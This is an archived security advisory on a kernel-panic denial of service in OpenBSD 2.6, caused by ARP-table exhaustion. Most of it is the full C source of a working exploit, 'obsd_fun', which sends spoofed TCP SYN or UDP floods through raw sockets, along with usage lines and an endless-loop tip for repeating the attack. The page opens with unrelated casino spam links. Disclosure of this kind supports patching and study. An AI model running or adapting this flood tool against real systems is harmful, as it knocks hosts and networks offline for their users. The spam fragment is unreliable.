Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
5th Oct 2000 [SBWID-137]
COMMAND
	    kernel (kmem_map)
SYSTEMS AFFECTED
	    OpenBSD 2.6
PROBLEM
	    'skyper' found following.  It is a bug that occurs as panic every
	    few seconds on OpenBSD box.
	    This works on local lan or  any host which can be reached  through
	    gateways with  rp_filter =  0 [default  on most  linux routers and
	    most      other      OS'es.         Take      a      look       at
	    /proc/sys/net/ipv4/conf/default/rp_filter].
	
	        panic: malloc: out of space in kmem_map,
	        Stopped at: _debugger+0x4:   ieave
	
	    This  is  nothing  special.   The  kernel  runs  out of memory and
	    panics.
	    Usage is
	
	        ./obsd_fun <target ip> <network> <count>
	
	    Target_ip is  the ...wtf..you  know what  it is.   Network is  the
	    beginning of the  network of the  target_ip.  Count  is the number
	    of hosts we spoof from.
	    How does it  work?  While  coding some scanning  tool 'skyper' saw
	    that linux  was unable  to handle  1000 arp-request/sec [arp-table
	    overflow].   He  thought   obsd  could  be   able  to  handle   1k
	    arp-request/sec..but he was wrong.
	    First  DoS  was  a  local  one.   All  he  did was sent packets to
	    thousend of hosts on the same  network.  [it doesnt matter if  the
	    hosts  exist  or  not].   The  OpenBSD  kernel paniced after a few
	    seconds.   'skyper'  left  it  as  an  exercise  for the reader to
	    reengineer the local DoS.  [addon after a 'bratwurscht'-break:  he
	    took the exercise humself.]
	    On subject of remote DoS; we send thousends of spoofed packets  to
	    the target machiene.   The target machiene  tries to answer  these
	    packets  [with  a   tcp-syn,  tcp-rst  ,icmp-port-unreachable   or
	    whatever].
	    For that it  needs the mac-address  of the origin  host.  If  this
	    host does not exist the OpenBSD  box will never get an answer  and
	    wait for the arp-reply  until it timesout.   Thats it.  We  simply
	    overflow the arp-table/memory.
	    'skyper' used tcp-packets in this example.  It also works with udp
	    or icmp.
	
	    /*
	     * [local/remote] kernel-panic DoS against openBSD 2.6
	     * 20000802, [email protected]
	     *
	     * How to use it?:
	     * gcc -Wall -o obsd_fun obsd_fun.c
	     * If the host-ip is 10.23.13.37 on a 10.23/16 network:
	     * leetbox:~# ./obsd_fun 10.23.13.37 10.23.0.1 65534
	     *
	     * A count of 20.000 works fine here. But my box only has 64 MB ram.
	     * If this doesnt work try bigger values.
	     * If this still does not work...try an endless loop:
	     * while :; do ./obsd_fun 10.23.13.37 10.23.0.1 65534 ; done
	     * [sound crazy..but it works. I was unable to DoS a obsd 2.6 on
	     * a /16-network with 128 MB ram and a count of 65334...but after
	     * 6-loops the box paniced]
	     *
	     * Local DoS:
	     * Works like the remote one. But we use udp this time:
	     * myfirstobsd:~$ ./obsd_fun 10.23.0.1 32000
	     * works fine on my 64 MB obsd 2.6 box.
	     *
	     *
	     * Oh..i forgott something:
	     * Basicly i dont like DoS-attacks or really lame (d)dos attacks.
	     * It SUCKs. Thats really not what hacking is about.
	     *
	     * Greetings: yum. this is a DoS. to lame for greetings.
	     *
	     *
	     */
	    #include <unistd.h>
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <sys/types.h>
	    #include <sys/socket.h>
	    #include <sys/wait.h>
	    #ifndef __FAVOR_BSD
	    #define __FAVOR_BSD
	    #endif
	    #ifndef __USE_BSD
	    #define __USE_BSD
	    #endif
	    #ifndef __BSD_SOURCE
	    #define __BSD_SOURCE
	    #endif
	    #include <netinet/in_systm.h>
	    #include <netinet/in.h>
	    #include <netinet/ip.h>
	    #include <netinet/tcp.h>
	    #include <arpa/inet.h>
	    #define ETH_SIZE        14
	    #define IP_SIZE         20
	    #define TCP_SIZE        20
	    #define int_ntoa(x)   inet_ntoa(*((struct in_addr *)&(x)))
	    /*
	     *  Checksum stuff
	     */
	    #define CKSUM_CARRY(x) \
	        (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))
	    /*
	     * leet net tuple
	     */
	    struct net_tuple
	    {
	      uint32_t src;
	      unsigned short int sport;
	      uint32_t dst;
	      unsigned short int dport;
	    };
	    /*
	     * pseudo TCP header for calculating the chksum
	     */
	    struct _fakehead {
	        uint32_t saddr;
	        uint32_t daddr;
	        uint8_t  zero;
	        uint8_t protocol;
	        uint16_t tot_len;
	    };
	    unsigned char packet[128];
	    /*
	     * calc. checksum WITH carry flag.
	     * call cksum = CKSUM_CARRY(in_cksum(blah));
	     */
	    int
	    in_cksum(unsigned short *addr, int len)
	    {
	       int			nleft = len;
	       int			sum = 0;
	       u_short 		*w = addr;
	       u_short		answer = 0;
	       while (nleft > 1)
	       {
	          sum += *w++;
	          nleft -= 2;
	       }
	       if (nleft == 1)	/* padding */
	       {
	          *(u_char *) (&answer) = *(u_char *) w;
	          sum += answer;
	       }
	      return(sum);
	    }
	    void
	    add_tcphdr(unsigned char *pkt, struct net_tuple *nt, uint8_t flags)
	    {
	       struct tcphdr                tcp;
	       struct _fakehead             fakehead;
	       int sum;
	       memset(&tcp, 0, sizeof(tcp));
	       memset(&fakehead, 0, sizeof(fakehead));
	       tcp.th_dport = nt->dport;
	       tcp.th_sport = nt->sport;
	       fakehead.saddr = nt->src;
	       fakehead.daddr = nt->dst;
	       fakehead.zero = 0,
	       fakehead.protocol = 6;
	       fakehead.tot_len = htons(TCP_SIZE);
	       sum = in_cksum((u_short *)&fakehead, sizeof(fakehead));
	       tcp.th_off = TCP_SIZE >> 2;
	       tcp.th_seq = 31337;                         /* ###fixme */
	       tcp.th_flags |= flags;                      /* ADD the flags */
	       tcp.th_win = htons(0x3fff);
	       sum += in_cksum((u_short *)&tcp, sizeof(tcp));
	       tcp.th_sum = CKSUM_CARRY(sum);
	       memcpy(pkt, &tcp, sizeof(tcp));
	    }
	    /*
	     * add's ipv4-header of 20 bytes without any options
	     * - IPPROTO_TCP and 40 bytes total length
	     */
	    void
	    add_iphdr(unsigned char *pkt, struct net_tuple *nt)
	    {
	      struct ip			ip;
	      memset(&ip, 0, 20);
	      ip.ip_hl = sizeof(ip) >> 2;
	      ip.ip_v = 4;
	      /*ip->tos = 0;*/
	      ip.ip_len = htons(IP_SIZE + TCP_SIZE);  /* htons ? */
	      /*ip->id = 0; 		 done by kernel */
	      /*ip->frag_off = 0;*/
	      ip.ip_ttl = 0xff;
	      ip.ip_p = IPPROTO_TCP;
	      /*.ip->check = 0;	 done by kernel */
	      ip.ip_src.s_addr = nt->src;
	      ip.ip_dst.s_addr = nt->dst;
	      memcpy(pkt, &ip, sizeof(ip));
	    }
	    /*
	     * send out ipv4-packet
	     * with data 'pkt' of length 'len'
	     * returns the number of characters sent, or -1 if an error occured
	     */
	    int
	    send_ipv4(int sox, u_char  *pkt, size_t len)
	    {
	       struct sockaddr_in	to;
	       to.sin_family = AF_INET;
	       memcpy(&to.sin_addr.s_addr, (pkt + 4*4), sizeof(u_long));
	       return(sendto(sox, pkt, len, 0 , (struct sockaddr *)&to, sizeof(to)) );
	    }
	    /*
	     * for a local DoS.
	     * we use udp this time [much easier, much faster, but only local:)]
	     */
	    void
	    local_dos(char *argv[])
	    {
	      struct sockaddr_in saddr;
	      int c=0;
	      int sox;
	      int iprunner;
	      if( (sox = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	      {
	         fprintf(stderr, "error creating socket\n");
	         exit(1);
	      }
	      memset(&saddr, 0, sizeof(saddr));
	      saddr.sin_family = AF_INET;
	      saddr.sin_port = htons(31337);
	      iprunner = ntohl(inet_addr(argv[1]));
	      while (c++< atoi(argv[2]))
	      {
	        saddr.sin_addr.s_addr = htonl(iprunner++);
	        sendto(sox, NULL, 0, 0, (struct sockaddr *)&saddr, sizeof(saddr));
	      }
	      printf("not working ?! wtf ! mailme asap [email protected]\n");
	      exit(0);
	    }
	    void
	    usage(int code)
	    {
	      printf("\n4local  DoS:\n");
	      printf("obsd_fun <network> <count>\n");
	      printf("    obsd_fun 10.23.0.1 32000\n\n");
	      printf("4 remote DoS:\n");
	      printf("obsd_fun <target_ip> <network> <count>\n");
	      printf("    obsd_fun 10.23.13.37 10.23.0.1 65000\n\n");
	      exit(code);
	    }
	    int
	    main(int argc, char *argv[])
	    {
	      struct net_tuple nt;
	      int sox;
	      int on = 1;
	      unsigned long iprunner;
	      int c=0;
	      if (argc < 3)
	         usage(0);
	      if (argc == 3)
	         local_dos(argv);
	      memset(&nt, 0, sizeof(nt));
	      if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	      {
	         fprintf(stderr, "error creating socket\n");
	         exit(1);
	      }
	      if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
	      {
	         fprintf(stderr, "error setsockopt\n");
	         exit(1);
	      }
	      printf("nuking %s on network %s with %d ip's\n",
	                                             argv[1], argv[2], atoi(argv[3]));
	      nt.dport = htons(31337);
	      nt.sport = htons(31338);
	      if ( (nt.dst = inet_addr(argv[1])) == -1)
	      {
	        fprintf(stderr, "nah. use IP insteat of hostname.\n");
	        exit(0);
	      }
	      iprunner = ntohl(inet_addr(argv[2]));
	      memset(packet, 0 , sizeof(packet));
	      while (c++< atoi(argv[3]))
	      {
	        nt.src = htonl(iprunner++);
	        add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN);
	        add_iphdr(packet + ETH_SIZE, &nt);
	        send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE);
	      }
	     printf("done. Try an endless loop if box is still alive.\n");
	     return(0);
	    }
	
SOLUTION
	    This is fixed in OpenBSD 2.7.
	

Internet highlights